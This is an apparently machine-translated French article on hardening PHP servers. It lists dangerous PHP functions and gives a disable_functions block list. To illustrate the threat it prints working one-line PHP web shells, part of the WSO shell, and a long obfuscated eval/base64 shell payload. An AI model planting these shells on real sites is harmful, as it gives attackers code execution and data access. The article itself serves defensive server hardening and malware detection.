Fonctions PHP non sécurisées

Modesco Holding - c'est plus de 300 sites d'information et 5 principaux services Internet. Les projets sont régulièrement achetés et vendus. Comme vous le comprenez, il est physiquement impossible de maintenir un code de haute qualité dans cette situation. Et l'attention principale des programmeurs, en règle générale, se concentre sur les services eux-mêmes. Hacks, shell, infection de sites par d'autres choses malveillantes ... Tout cela cause un tort important aux utilisateurs et aux entreprises. Pour éviter cela, il faut souvent chercher des moyens plutôt non standard de réduire les risques.


chat


fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system"; 

Cela ne signifie pas que toutes les fonctions dangereuses doivent être interdites de toute urgence. Cela ne signifie pas qu'en les désactivant, vous vous protégerez certainement contre tous les shells PHP. La plupart de ces fonctionnalités peuvent être utilisées en toute sécurité dans votre application, Framework ou bibliothèques. Chaque demande doit être abordée individuellement. La sécurité est le processus de construction d'une défense en profondeur, et la désactivation des fonctions dangereuses dans ce cas n'est qu'une des lignes possibles de cette défense.


La liste de ces fonctions peut bien être un assistant pour trouver des fichiers suspects. PHP-shell peut être très intelligemment caché - un excellent exemple d'obfuscation est l'article sur habr


Cet article est basé sur un enregistrement stackoverflow et sur notre propre expérience en analysant un énorme ensemble de shells PHP .


Que faire avec


Ce serait bien de désactiver certaines fonctions dangereuses pour PHP-fpm (ou autre chose). Laissez la possibilité de les exécuter uniquement via PHP-cli. L'apparence des autres fonctions doit être surveillée dans les fichiers. Le troisième doit être traité plus soigneusement et ne pas permettre aux lignes non nettoyées ou strictement non validées d'entrer dans les arguments.


Fonctions d'exécution des commandes


 exec expect_popen passthru system shell_exec popen proc_open pcntl_exec 

Ces fonctionnalités doivent être désactivées en premier. Si vous en avez besoin en PHP-fpm, alors vous faites quelque chose de mal. Ces fonctions vous permettent de quitter l'environnement spécifié dans open_basedir. La désactivation d'une partie seulement des fonctions ne sera pas suffisante. Par exemple, le shell WSO bien-aimé, à la recherche d'opportunités d'exécution de code, énumère les fonctions.


 function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; } 

Fonctionnalités de gestion des processus


 pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig 

Ils doivent également être désactivés. Par exemple, proc_open se trouve dans le WSO. Oui et pas de place pour de telles fonctions dans l'environnement PHP-fpm. Le démon doit être lancé via PHP-cli.


Fonctions d'information


 phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid 

Ces fonctions révèlent des informations sur votre système et peuvent grandement faciliter l'attaque contre d'autres logiciels. Et ils peuvent également devenir une source de fuite de données confidentielles, par exemple, dans symfony, il est recommandé de stocker les connexions de base de données dans ENV. Par conséquent, il est conseillé d'interdire l'exécution de ces fonctions, à l'exception de celles utilisées dans votre application.


Fonctions exécutant du code PHP


 eval assert preg_replace create_function include include_once require require_once 

Il vaut la peine de vérifier leur présence dans les fichiers téléchargés et d'effectuer des contrôles réguliers des fichiers actuels. Outre eval il existe d'autres façons d'exécuter du code PHP. Par exemple, vous pouvez inclure un fichier JPG spécialement conçu . Cependant, la plupart des frameworks et applications utilisent ces fonctions - vous ne pouvez pas les désactiver. Par conséquent, il est important d'être extrêmement prudent lors de leur utilisation. Shell ne peut être qu'une seule ligne:


  include("data:text/plain;base64,$_GET[code]"); 

Fonctions qui utilisent le rappel


 ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function 

Ces fonctions peuvent être utilisées pour appeler d'autres fonctions en passant un paramètre de chaîne. Il vaut la peine de les appliquer soigneusement et de ne pas permettre aux données brutes d'entrer dans les arguments de la fonction. Après tout, ils peuvent également servir à masquer la coquille. Un exemple du shell le plus simple utilisant ces fonctions ressemble à ceci:


 print_r(call_user_func_array($_POST['functie'], array($_POST['argv']))); 

Fonctions souvent utilisées en obscurcissement


 eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function 

Ces fonctions sont souvent utilisées pour masquer des shells PHP déjà connus contre les antivirus et les regards indiscrets. Vérifiez la présence des fichiers téléchargés, effectuez des contrôles réguliers dans les fichiers actuels. Un exemple de masquage d'un shell:


 eval(str_rot13(gzinflate(str_rot13(base64_decode('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'))))); 

Caractéristiques du système de fichiers


 fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags 

Ces fonctions peuvent être utilisées pour télécharger des fichiers ou divulguer des informations sur le système - cela vaut la peine de les utiliser avec prudence. De nombreux shells PHP peuvent télécharger des fichiers tiers via ftp. Un simple shell PHP pour charger un fichier arbitraire ressemble à ceci:


 copy($_GET['s'], $_GET['d']); 

Autre


 extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid 

La prudence est également nécessaire avec ces fonctions, et certaines d'entre elles sont mieux interdites. Par exemple, le mail peut être utilisé pour envoyer du spam vers un site infecté. Si votre application n'a pas l'intention d'utiliser ces fonctions, désactivez-les. La construction suivante n'est pas effrayante, mais c'est l'un des plus petits shells PHP:


  @extract($_REQUEST); @die ($ctime($atime)); 

Conclusion


La désactivation des fonctions PHP non sécurisées est un moyen de réduire les risques de manquer de ressources. Si des personnes ayant des «connaissances spécifiques» sont impliquées dans votre projet, il est probable qu'il tombe.


Cette protection s'est révélée particulièrement efficace sur les sites du CMS - ils sont généralement infectés par des réseaux malveillants en mode automatique. Si le robot d'analyse ne peut pas exécuter la commande ou le shell PHP inondé, il ira très probablement sur le site suivant.


J'espère que cet article encouragera les débutants à faire plus attention au filtrage, au blindage et à la validation des données reçues de l'utilisateur.


L'article ne prétend pas à une connaissance unique - sous une forme ou une autre, ce matériau a déjà été rencontré dans Runet. Le texte est un matériau généralisé et systématisé appelant à attirer l'attention sur le problème.


Peut-être qu'il sera en mesure de motiver quelqu'un à écrire du matériel complexe sur la sécurité Wordpress, enfin, ou un autre CMS.

Source: https://habr.com/ru/post/fr472092/


All Articles